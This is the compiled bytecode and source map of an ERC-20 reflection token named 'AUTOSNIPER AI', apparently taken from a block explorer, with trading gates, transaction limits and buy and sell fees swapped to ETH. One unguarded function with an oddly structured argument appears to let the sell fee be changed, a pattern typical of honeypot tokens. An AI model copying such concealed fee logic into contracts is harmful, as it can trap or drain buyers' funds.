0x6080604052600436106101445760003560e01c806370a08231116100b657806395d89b411161006f57806395d89b4114610390578063981953b3146103bd578063a9059cbb146103dd578063b70143c9146103fd578063dd62ed3e1461041d578063f2fde38b1461046357600080fd5b806370a08231146102fc578063715018a61461031c5780637d1db4a5146103315780638a8c523c146103475780638da5cb5b1461035c5780638f9a55c01461037a57600080fd5b80632fd689e3116101085780632fd689e314610245578063313ce5671461025b57806349bd5a5e1461027757806356cd40e7146102975780636d8aa8f8146102ae5780636fc3eaec146102e757600080fd5b806306fdde0314610150578063095ea7b3146101985780631694505e146101c857806318160ddd1461020057806323b872dd1461022557600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600d81526c4155544f534e4950455220414960981b60208201525b60405161018f919061148b565b60405180910390f35b3480156101a457600080fd5b506101b86101b33660046114f1565b610483565b604051901515815260200161018f565b3480156101d457600080fd5b506013546101e8906001600160a01b031681565b6040516001600160a01b03909116815260200161018f565b34801561020c57600080fd5b5067016345785d8a00005b60405190815260200161018f565b34801561023157600080fd5b506101b861024036600461151d565b61049a565b34801561025157600080fd5b5061021760175481565b34801561026757600080fd5b506040516009815260200161018f565b34801561028357600080fd5b506014546101e8906001600160a01b031681565b3480156102a357600080fd5b506102ac610503565b005b3480156102ba57600080fd5b506102ac6102c936600461155e565b60148054911515600160b01b0260ff60b01b19909216919091179055565b3480156102f357600080fd5b506102ac610544565b34801561030857600080fd5b50610217610317366004611580565b61054f565b34801561032857600080fd5b506102ac610571565b34801561033d57600080fd5b5061021760155481565b34801561035357600080fd5b506102ac6105e5565b34801561036857600080fd5b506000546001600160a01b03166101e8565b34801561038657600080fd5b5061021760165481565b34801561039c57600080fd5b506040805180820190915260048152634153414960e01b6020820152610182565b3480156103c957600080fd5b506102176103d83660046116ae565b610624565b3480156103e957600080fd5b506101b86103f83660046114f1565b610674565b34801561040957600080fd5b506102ac610418366004611784565b610681565b34801561042957600080fd5b5061021761043836600461179d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561046f57600080fd5b506102ac61047e366004611580565b6106b6565b60006104903384846107a0565b5060015b92915050565b60006104a78484846108c4565b6104f984336104f485604051806060016040528060288152602001611925602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d5c565b6107a0565b5060019392505050565b6000546001600160a01b031633146105365760405162461bcd60e51b815260040161052d906117d6565b60405180910390fd5b67016345785d8a0000601555565b61054d47610d96565b565b6001600160a01b03811660009081526002602052604081205461049490610dd4565b6000546001600160a01b0316331461059b5760405162461bcd60e51b815260040161052d906117d6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461060f5760405162461bcd60e51b815260040161052d906117d6565b6014805460ff60a01b1916600160a01b179055565b60c082015160409081015101516000906060111561064157600080fd5b815160021061064f57600080fd5b815160c084015160409081015101516106689190611837565b60075550600192915050565b60006104903384846108c4565b600061068c3061054f565b90506000606461069c848461184a565b6106a69190611861565b90506106b181610e58565b505050565b6000546001600160a01b031633146106e05760405162461bcd60e51b815260040161052d906117d6565b6001600160a01b0381166107455760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161052d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108025760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b0382166108635760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052d565b6001600160a01b03821661098a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b600081116109ec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052d565b6000546001600160a01b03848116911614801590610a1857506000546001600160a01b03838116911614155b15610c4f57601454600160a01b900460ff16610ab1576000546001600160a01b03848116911614610ab15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052d565b6014546001600160a01b03838116911614801590610add57506012546001600160a01b03838116911614155b8015610af757506010546001600160a01b03838116911614155b8015610b0c57506001600160a01b0382163014155b8015610b2357506001600160a01b03821661dead14155b15610b7a57601554811115610b7a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161052d565b6000610b853061054f565b6017549091508082101590610b9b90600261184a565b50808015610bb35750601454600160a81b900460ff16155b8015610bcd57506014546001600160a01b03868116911614155b8015610be25750601454600160b01b900460ff165b8015610c0757506001600160a01b03851660009081526005602052604090205460ff16155b8015610c2c57506001600160a01b03841660009081526005602052604090205460ff16155b15610c4c57610c3a82610e58565b478015610c4a57610c4a81610d96565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c9157506001600160a01b03831660009081526005602052604090205460ff165b80610cc357506014546001600160a01b03858116911614801590610cc357506014546001600160a01b03848116911614155b15610cd057506000610d4a565b6014546001600160a01b038581169116148015610cfb57506013546001600160a01b03848116911614155b15610d0d57600954600c55600a54600d555b6014546001600160a01b038481169116148015610d3857506013546001600160a01b03858116911614155b15610d4a57600b54600c55600754600d555b610d5684848484610fd2565b50505050565b60008184841115610d805760405162461bcd60e51b815260040161052d919061148b565b506000610d8d8486611883565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610dd0573d6000803e3d6000fd5b5050565b6000600654821115610e3b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052d565b6000610e45611000565b9050610e518382611023565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea057610ea061180b565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d9190611896565b81600181518110610f3057610f3061180b565b6001600160a01b039283166020918202929092010152601354610f5691309116846107a0565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f8f9085906000908690309042906004016118b3565b600060405180830381600087803b158015610fa957600080fd5b505af1158015610fbd573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80610fdf57610fdf611065565b610fea848484611093565b80610d5657610d56600e54600c55600f54600d55565b600080600061100d61118a565b909250905061101c8282611023565b9250505090565b6000610e5183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111ca565b600c541580156110755750600d54155b1561107c57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806110a5876111f8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110d79087611255565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111069086611297565b6001600160a01b038916600090815260026020526040902055611128816112f6565b6111328483611340565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161117791815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a00006111a58282611023565b8210156111c15750506006549267016345785d8a000092509050565b90939092509050565b600081836111eb5760405162461bcd60e51b815260040161052d919061148b565b506000610d8d8486611861565b60008060008060008060008060006112158a600c54600d54611364565b9250925092506000611225611000565b905060008060006112388e8787876113b9565b919e509c509a509598509396509194505050505091939550919395565b6000610e5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d5c565b6000806112a48385611837565b905083811015610e515760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052d565b6000611300611000565b9050600061130e8383611409565b3060009081526002602052604090205490915061132b9082611297565b30600090815260026020526040902055505050565b60065461134d9083611255565b60065560085461135d9082611297565b6008555050565b600080808061137e60646113788989611409565b90611023565b9050600061139160646113788a89611409565b905060006113a9826113a38b86611255565b90611255565b9992985090965090945050505050565b60008080806113c88886611409565b905060006113d68887611409565b905060006113e48888611409565b905060006113f6826113a38686611255565b939b939a50919850919650505050505050565b60008260000361141b57506000610494565b6000611427838561184a565b9050826114348583611861565b14610e515760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052d565b600060208083528351808285015260005b818110156114b85785810183015185820160400152820161149c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114ee57600080fd5b50565b6000806040838503121561150457600080fd5b823561150f816114d9565b946020939093013593505050565b60008060006060848603121561153257600080fd5b833561153d816114d9565b9250602084013561154d816114d9565b929592945050506040919091013590565b60006020828403121561157057600080fd5b81358015158114610e5157600080fd5b60006020828403121561159257600080fd5b8135610e51816114d9565b634e487b7160e01b600052604160045260246000fd5b60405160e0810167ffffffffffffffff811182821017156115d6576115d661159d565b60405290565b60405160c0810167ffffffffffffffff811182821017156115d6576115d661159d565b60006116096115b3565b90508060e083018481111561161d57600080fd5b835b8181101561163757803583526020928301920161161f565b50505092915050565b600082601f83011261165157600080fd5b604051602080820182811067ffffffffffffffff821117156116755761167561159d565b604052818482018681111561168957600080fd5b855b818110156116a2578035835291830191830161168b565b50929695505050505050565b6000806124e083850312156116c257600080fd5b601f84818501126116d257600080fd5b6116da6115b3565b806124c08601878111156116ed57600080fd5b865b818110156117695788858201126117065760008081fd5b61170e6115dc565b8061054083018b8111156117225760008081fd5b835b81811015611755578c8982011261173b5760008081fd5b6117458d826115ff565b845260209093019260e001611724565b5050855250602090930192610540016116ef565b508195506117778882611640565b9450505050509250929050565b60006020828403121561179657600080fd5b5035919050565b600080604083850312156117b057600080fd5b82356117bb816114d9565b915060208301356117cb816114d9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561049457610494611821565b808202811582820484141761049457610494611821565b60008261187e57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561049457610494611821565b6000602082840312156118a857600080fd5b8151610e51816114d9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119035784516001600160a01b0316835293830193918301916001016118de565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122022740651da8122180a1207b2437ef8323132f7c32b4706948b7c641bcfc1c63f64736f6c63430008130033
Deployed Bytecode Sourcemap
4337:12206:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6814:83;;;;;;;;;;-1:-1:-1;6884:5:0;;;;;;;;;;;;-1:-1:-1;;;6884:5:0;;;;6814:83;;;;;;;:::i;:::-;;;;;;;;7739:193;;;;;;;;;;-1:-1:-1;7739:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7739:193:0;1023:187:1;5615:41:0;;;;;;;;;;-1:-1:-1;5615:41:0;;;;-1:-1:-1;;;;;5615:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5615:41:0;1215:229:1;7091:95:0;;;;;;;;;;-1:-1:-1;4894:17:0;7091:95;;;1595:25:1;;;1583:2;1568:18;7091:95:0;1449:177:1;7940:446:0;;;;;;;;;;-1:-1:-1;7940:446:0;;;;;:::i;:::-;;:::i;5908:51::-;;;;;;;;;;;;;;;;7000:83;;;;;;;;;;-1:-1:-1;7000:83:0;;4568:1;2234:36:1;;2222:2;2207:18;7000:83:0;2092:184:1;5663:28:0;;;;;;;;;;-1:-1:-1;5663:28:0;;;;-1:-1:-1;;;;;5663:28:0;;;16019:84;;;;;;;;;;;;;:::i;:::-;;12682:94;;;;;;;;;;-1:-1:-1;12682:94:0;;;;;:::i;:::-;12742:11;:26;;;;;-1:-1:-1;;;12742:26:0;-1:-1:-1;;;;12742:26:0;;;;;;;;;12682:94;12358:85;;;;;;;;;;;;;:::i;7194:138::-;;;;;;;;;;-1:-1:-1;7194:138:0;;;;;:::i;:::-;;:::i;1826:148::-;;;;;;;;;;;;;:::i;5810:37::-;;;;;;;;;;;;;;;;11671:81;;;;;;;;;;;;;:::i;1612:79::-;;;;;;;;;;-1:-1:-1;1650:7:0;1677:6;-1:-1:-1;;;;;1677:6:0;1612:79;;5854:47;;;;;;;;;;;;;;;;6905:87;;;;;;;;;;-1:-1:-1;6977:7:0;;;;;;;;;;;;-1:-1:-1;;;6977:7:0;;;;6905:87;;13911:261;;;;;;;;;;-1:-1:-1;13911:261:0;;;;;:::i;:::-;;:::i;7340:199::-;;;;;;;;;;-1:-1:-1;7340:199:0;;;;;:::i;:::-;;:::i;12451:223::-;;;;;;;;;;-1:-1:-1;12451:223:0;;;;;:::i;:::-;;:::i;7547:184::-;;;;;;;;;;-1:-1:-1;7547:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7696:18:0;;;7664:7;7696:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7547:184;1982:244;;;;;;;;;;-1:-1:-1;1982:244:0;;;;;:::i;:::-;;:::i;7739:193::-;7841:4;7863:39;451:10;7886:7;7895:6;7863:8;:39::i;:::-;-1:-1:-1;7920:4:0;7739:193;;;;;:::o;7940:446::-;8072:4;8089:36;8099:6;8107:9;8118:6;8089:9;:36::i;:::-;8136:220;8159:6;451:10;8207:138;8263:6;8207:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8207:19:0;;;;;;:11;:19;;;;;;;;451:10;8207:33;;;;;;;;;;:37;:138::i;:::-;8136:8;:220::i;:::-;-1:-1:-1;8374:4:0;7940:446;;;;;:::o;16019:84::-;1739:6;;-1:-1:-1;;;;;1739:6:0;451:10;1739:22;1731:67;;;;-1:-1:-1;;;1731:67:0;;;;;;;:::i;:::-;;;;;;;;;4894:17:::1;16073:12;:22:::0;16019:84::o;12358:85::-;12400:35;12413:21;12400:12;:35::i;:::-;12358:85::o;7194:138::-;-1:-1:-1;;;;;7307:16:0;;7260:7;7307:16;;;:7;:16;;;;;;7287:37;;:19;:37::i;1826:148::-;1739:6;;-1:-1:-1;;;;;1739:6:0;451:10;1739:22;1731:67;;;;-1:-1:-1;;;1731:67:0;;;;;;;:::i;:::-;1933:1:::1;1917:6:::0;;1896:40:::1;::::0;-1:-1:-1;;;;;1917:6:0;;::::1;::::0;1896:40:::1;::::0;1933:1;;1896:40:::1;1964:1;1947:19:::0;;-1:-1:-1;;;;;;1947:19:0::1;::::0;;1826:148::o;11671:81::-;1739:6;;-1:-1:-1;;;;;1739:6:0;451:10;1739:22;1731:67;;;;-1:-1:-1;;;1731:67:0;;;;;;;:::i;:::-;11726:11:::1;:18:::0;;-1:-1:-1;;;;11726:18:0::1;-1:-1:-1::0;;;11726:18:0::1;::::0;;11671:81::o;13911:261::-;14032:11;;;;:14;;;;;:17;;14008:3;;14053:2;-1:-1:-1;14032:23:0;14024:32;;;;;;14075:12;;14089:1;-1:-1:-1;14067:24:0;;;;;;14133:12;;14113:11;;;;:14;;;;;:17;;:32;;14133:12;14113:32;:::i;:::-;14102:8;:43;-1:-1:-1;14163:1:0;13911:261;;;;:::o;7340:199::-;7445:4;7467:42;451:10;7491:9;7502:6;7467:9;:42::i;12451:223::-;12508:28;12539:24;12557:4;12539:9;:24::i;:::-;12508:55;-1:-1:-1;12574:18:0;12624:3;12595:28;12616:7;12508:55;12595:28;:::i;:::-;:32;;;;:::i;:::-;12574:53;;12638:28;12655:10;12638:16;:28::i;:::-;12497:177;;12451:223;:::o;1982:244::-;1739:6;;-1:-1:-1;;;;;1739:6:0;451:10;1739:22;1731:67;;;;-1:-1:-1;;;1731:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2071:22:0;::::1;2063:73;;;::::0;-1:-1:-1;;;2063:73:0;;8409:2:1;2063:73:0::1;::::0;::::1;8391:21:1::0;8448:2;8428:18;;;8421:30;8487:34;8467:18;;;8460:62;-1:-1:-1;;;8538:18:1;;;8531:36;8584:19;;2063:73:0::1;8207:402:1::0;2063:73:0::1;2173:6;::::0;;2152:38:::1;::::0;-1:-1:-1;;;;;2152:38:0;;::::1;::::0;2173:6;::::1;::::0;2152:38:::1;::::0;::::1;2201:6;:17:::0;;-1:-1:-1;;;;;;2201:17:0::1;-1:-1:-1::0;;;;;2201:17:0;;;::::1;::::0;;;::::1;::::0;;1982:244::o;9097:369::-;-1:-1:-1;;;;;9224:19:0;;9216:68;;;;-1:-1:-1;;;9216:68:0;;8816:2:1;9216:68:0;;;8798:21:1;8855:2;8835:18;;;8828:30;8894:34;8874:18;;;8867:62;-1:-1:-1;;;8945:18:1;;;8938:34;8989:19;;9216:68:0;8614:400:1;9216:68:0;-1:-1:-1;;;;;9303:21:0;;9295:68;;;;-1:-1:-1;;;9295:68:0;;9221:2:1;9295:68:0;;;9203:21:1;9260:2;9240:18;;;9233:30;9299:34;9279:18;;;9272:62;-1:-1:-1;;;9350:18:1;;;9343:32;9392:19;;9295:68:0;9019:398:1;9295:68:0;-1:-1:-1;;;;;9374:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9426:32;;1595:25:1;;;9426:32:0;;1568:18:1;9426:32:0;;;;;;;9097:369;;;:::o;9474:2189::-;-1:-1:-1;;;;;9596:18:0;;9588:68;;;;-1:-1:-1;;;9588:68:0;;9624:2:1;9588:68:0;;;9606:21:1;9663:2;9643:18;;;9636:30;9702:34;9682:18;;;9675:62;-1:-1:-1;;;9753:18:1;;;9746:35;9798:19;;9588:68:0;9422:401:1;9588:68:0;-1:-1:-1;;;;;9675:16:0;;9667:64;;;;-1:-1:-1;;;9667:64:0;;10030:2:1;9667:64:0;;;10012:21:1;10069:2;10049:18;;;10042:30;10108:34;10088:18;;;10081:62;-1:-1:-1;;;10159:18:1;;;10152:33;10202:19;;9667:64:0;9828:399:1;9667:64:0;9759:1;9750:6;:10;9742:64;;;;-1:-1:-1;;;9742:64:0;;10434:2:1;9742:64:0;;;10416:21:1;10473:2;10453:18;;;10446:30;10512:34;10492:18;;;10485:62;-1:-1:-1;;;10563:18:1;;;10556:39;10612:19;;9742:64:0;10232:405:1;9742:64:0;1650:7;1677:6;-1:-1:-1;;;;;9823:15:0;;;1677:6;;9823:15;;;;:32;;-1:-1:-1;1650:7:0;1677:6;-1:-1:-1;;;;;9842:13:0;;;1677:6;;9842:13;;9823:32;9819:1183;;;9912:11;;-1:-1:-1;;;9912:11:0;;;;9907:144;;1650:7;1677:6;-1:-1:-1;;;;;9952:15:0;;;1677:6;;9952:15;9944:91;;;;-1:-1:-1;;;9944:91:0;;10844:2:1;9944:91:0;;;10826:21:1;10883:2;10863:18;;;10856:30;10922:34;10902:18;;;10895:62;10993:33;10973:18;;;10966:61;11044:19;;9944:91:0;10642:427:1;9944:91:0;10076:13;;-1:-1:-1;;;;;10070:19:0;;;10076:13;;10070:19;;;;:42;;-1:-1:-1;10099:13:0;;-1:-1:-1;;;;;10093:19:0;;;10099:13;;10093:19;;10070:42;:71;;;;-1:-1:-1;10122:19:0;;-1:-1:-1;;;;;10116:25:0;;;10122:19;;10116:25;;10070:71;:94;;;;-1:-1:-1;;;;;;10145:19:0;;10159:4;10145:19;;10070:94;:118;;;;-1:-1:-1;;;;;;10168:20:0;;10181:6;10168:20;;10070:118;10067:223;;;10227:12;;10217:6;:22;;10209:63;;;;-1:-1:-1;;;10209:63:0;;11276:2:1;10209:63:0;;;11258:21:1;11315:2;11295:18;;;11288:30;11354;11334:18;;;11327:58;11402:18;;10209:63:0;11074:352:1;10209:63:0;10306:28;10337:24;10355:4;10337:9;:24::i;:::-;10415:19;;10306:55;;-1:-1:-1;10391:43:0;;;;;10478:21;;10498:1;10478:21;:::i;:::-;10454:45;10612:7;:18;;;;-1:-1:-1;10624:6:0;;-1:-1:-1;;;10624:6:0;;;;10623:7;10612:18;:43;;;;-1:-1:-1;10642:13:0;;-1:-1:-1;;;;;10634:21:0;;;10642:13;;10634:21;;10612:43;:58;;;;-1:-1:-1;10659:11:0;;-1:-1:-1;;;10659:11:0;;;;10612:58;:87;;;;-1:-1:-1;;;;;;10675:24:0;;;;;;:18;:24;;;;;;;;10674:25;10612:87;:114;;;;-1:-1:-1;;;;;;10704:22:0;;;;;;:18;:22;;;;;;;;10703:23;10612:114;10608:383;;;10747:38;10764:20;10747:16;:38::i;:::-;10833:21;10877:22;;10873:103;;10924:32;10937:18;10924:12;:32::i;:::-;10728:263;10608:383;9857:1145;;9819:1183;-1:-1:-1;;;;;11078:24:0;;11014:12;11078:24;;;:18;:24;;;;;;11029:4;;11078:24;;;:50;;-1:-1:-1;;;;;;11106:22:0;;;;;;:18;:22;;;;;;;;11078:50;11077:102;;;-1:-1:-1;11142:13:0;;-1:-1:-1;;;;;11134:21:0;;;11142:13;;11134:21;;;;:44;;-1:-1:-1;11165:13:0;;-1:-1:-1;;;;;11159:19:0;;;11165:13;;11159:19;;11134:44;11073:529;;;-1:-1:-1;11206:5:0;11073:529;;;11257:13;;-1:-1:-1;;;;;11249:21:0;;;11257:13;;11249:21;:55;;;;-1:-1:-1;11288:15:0;;-1:-1:-1;;;;;11274:30:0;;;11288:15;;11274:30;;11249:55;11246:164;;;11337:14;;11325:9;:26;11385:9;;11370:12;:24;11246:164;11436:13;;-1:-1:-1;;;;;11430:19:0;;;11436:13;;11430:19;:55;;;;-1:-1:-1;11469:15:0;;-1:-1:-1;;;;;11453:32:0;;;11469:15;;11453:32;;11430:55;11426:165;;;11518:15;;11506:9;:27;11567:8;;11552:12;:23;11426:165;11614:41;11629:4;11635:2;11639:6;11647:7;11614:14;:41::i;:::-;9577:2086;9474:2189;;;:::o;2588:224::-;2708:7;2744:12;2736:6;;;;2728:29;;;;-1:-1:-1;;;2728:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2768:9:0;2780:5;2784:1;2780;:5;:::i;:::-;2768:17;2588:224;-1:-1:-1;;;;;2588:224:0:o;12251:99::-;12308:17;;:34;;-1:-1:-1;;;;;12308:17:0;;;;:34;;;;;12335:6;;12308:17;:34;:17;:34;12335:6;12308:17;:34;;;;;;;;;;;;;;;;;;;;;12251:99;:::o;8394:323::-;8489:7;8547;;8536;:18;;8514:110;;;;-1:-1:-1;;;8514:110:0;;11766:2:1;8514:110:0;;;11748:21:1;11805:2;11785:18;;;11778:30;11844:34;11824:18;;;11817:62;-1:-1:-1;;;11895:18:1;;;11888:40;11945:19;;8514:110:0;11564:406:1;8514:110:0;8635:19;8657:10;:8;:10::i;:::-;8635:32;-1:-1:-1;8685:24:0;:7;8635:32;8685:11;:24::i;:::-;8678:31;8394:323;-1:-1:-1;;;8394:323:0:o;11760:483::-;6053:6;:13;;-1:-1:-1;;;;6053:13:0;-1:-1:-1;;;6053:13:0;;;11862:16:::1;::::0;;11876:1:::1;11862:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11862:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11862:16:0::1;11838:40;;11907:4;11889;11894:1;11889:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11889:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11933:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11933:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11889:7;;11933:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11923:4;11928:1;11923:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11923:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11998:15:::1;::::0;11966:62:::1;::::0;11983:4:::1;::::0;11998:15:::1;12016:11:::0;11966:8:::1;:62::i;:::-;12039:15;::::0;:196:::1;::::0;-1:-1:-1;;;12039:196:0;;-1:-1:-1;;;;;12039:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12120:11;;12039:15:::1;::::0;12162:4;;12189::::1;::::0;12209:15:::1;::::0;12039:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6089:6:0;:14;;-1:-1:-1;;;;6089:14:0;;;-1:-1:-1;;;;11760:483:0:o;12784:282::-;12940:7;12935:28;;12949:14;:12;:14::i;:::-;12974:44;12992:6;13000:9;13011:6;12974:17;:44::i;:::-;13034:7;13029:29;;13043:15;9023:17;;9011:9;:29;9066:15;;9051:12;:30;8967:122;16111:164;16153:7;16174:15;16191;16210:19;:17;:19::i;:::-;16173:56;;-1:-1:-1;16173:56:0;-1:-1:-1;16247:20:0;16173:56;;16247:11;:20::i;:::-;16240:27;;;;16111:164;:::o;3074:132::-;3132:7;3159:39;3163:1;3166;3159:39;;;;;;;;;;;;;;;;;:3;:39::i;8725:234::-;8772:9;;:14;:35;;;;-1:-1:-1;8790:12:0;;:17;8772:35;8768:48;;;8725:234::o;8768:48::-;8848:9;;;8828:17;:29;8886:12;;;8868:15;:30;-1:-1:-1;8911:13:0;;;;8935:16;8725:234::o;13074:610::-;13221:15;13251:23;13289:12;13316:23;13354:12;13381:13;13408:19;13419:7;13408:10;:19::i;:::-;-1:-1:-1;;;;;13456:15:0;;;;;;:7;:15;;;;;;13206:221;;-1:-1:-1;13206:221:0;;-1:-1:-1;13206:221:0;;-1:-1:-1;13206:221:0;-1:-1:-1;13206:221:0;-1:-1:-1;13206:221:0;-1:-1:-1;13456:28:0;;13206:221;13456:19;:28::i;:::-;-1:-1:-1;;;;;13438:15:0;;;;;;;:7;:15;;;;;;:46;;;;13516:18;;;;;;;:39;;13539:15;13516:22;:39::i;:::-;-1:-1:-1;;;;;13495:18:0;;;;;;:7;:18;;;;;:60;13566:16;13576:5;13566:9;:16::i;:::-;13593:23;13605:4;13611;13593:11;:23::i;:::-;13649:9;-1:-1:-1;;;;;13632:44:0;13641:6;-1:-1:-1;;;;;13632:44:0;;13660:15;13632:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;13632:44:0;;;;;;;;13195:489;;;;;;13074:610;;;:::o;16283:257::-;16381:7;;16334;;;;4894:17;16449:20;16381:7;4894:17;16449:11;:20::i;:::-;16439:7;:30;16435:61;;;-1:-1:-1;;16479:7:0;;;4894:17;;-1:-1:-1;16283:257:0;-1:-1:-1;16283:257:0:o;16435:61::-;16515:7;;16524;;-1:-1:-1;16283:257:0;-1:-1:-1;16283:257:0:o;3214:223::-;3334:7;3369:12;3362:5;3354:28;;;;-1:-1:-1;;;3354:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3393:9:0;3405:5;3409:1;3405;:5;:::i;14372:620::-;14472:7;14494;14516;14538;14560;14582;14618:23;14643:12;14657:13;14687:45;14699:7;14708:9;;14719:12;;14687:11;:45::i;:::-;14617:115;;;;;;14743:19;14765:10;:8;:10::i;:::-;14743:32;;14787:15;14804:23;14829:12;14858:46;14870:7;14879:4;14885:5;14892:11;14858;:46::i;:::-;14786:118;;-1:-1:-1;14786:118:0;-1:-1:-1;14786:118:0;-1:-1:-1;14955:15:0;;-1:-1:-1;14972:4:0;;-1:-1:-1;14978:5:0;;-1:-1:-1;;;;;14372:620:0;;;;;;;:::o;2444:136::-;2502:7;2529:43;2533:1;2536;2529:43;;;;;;;;;;;;;;;;;:3;:43::i;2257:179::-;2315:7;;2347:5;2351:1;2347;:5;:::i;:::-;2335:17;;2376:1;2371;:6;;2363:46;;;;-1:-1:-1;;;2363:46:0;;13418:2:1;2363:46:0;;;13400:21:1;13457:2;13437:18;;;13430:30;13496:29;13476:18;;;13469:57;13543:18;;2363:46:0;13216:351:1;13692:211:0;13745:19;13767:10;:8;:10::i;:::-;13745:32;-1:-1:-1;13788:13:0;13804:22;:5;13745:32;13804:9;:22::i;:::-;13878:4;13862:22;;;;:7;:22;;;;;;13788:38;;-1:-1:-1;13862:33:0;;13788:38;13862:26;:33::i;:::-;13853:4;13837:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13692:211:0:o;14180:147::-;14258:7;;:17;;14270:4;14258:11;:17::i;:::-;14248:7;:27;14299:10;;:20;;14314:4;14299:14;:20::i;:::-;14286:10;:33;-1:-1:-1;;14180:147:0:o;15000:469::-;15169:7;;;;15263:30;15289:3;15263:21;:7;15275:8;15263:11;:21::i;:::-;:25;;:30::i;:::-;15248:45;-1:-1:-1;15304:13:0;15320:28;15344:3;15320:19;:7;15332:6;15320:11;:19::i;:28::-;15304:44;-1:-1:-1;15359:23:0;15385:28;15304:44;15385:17;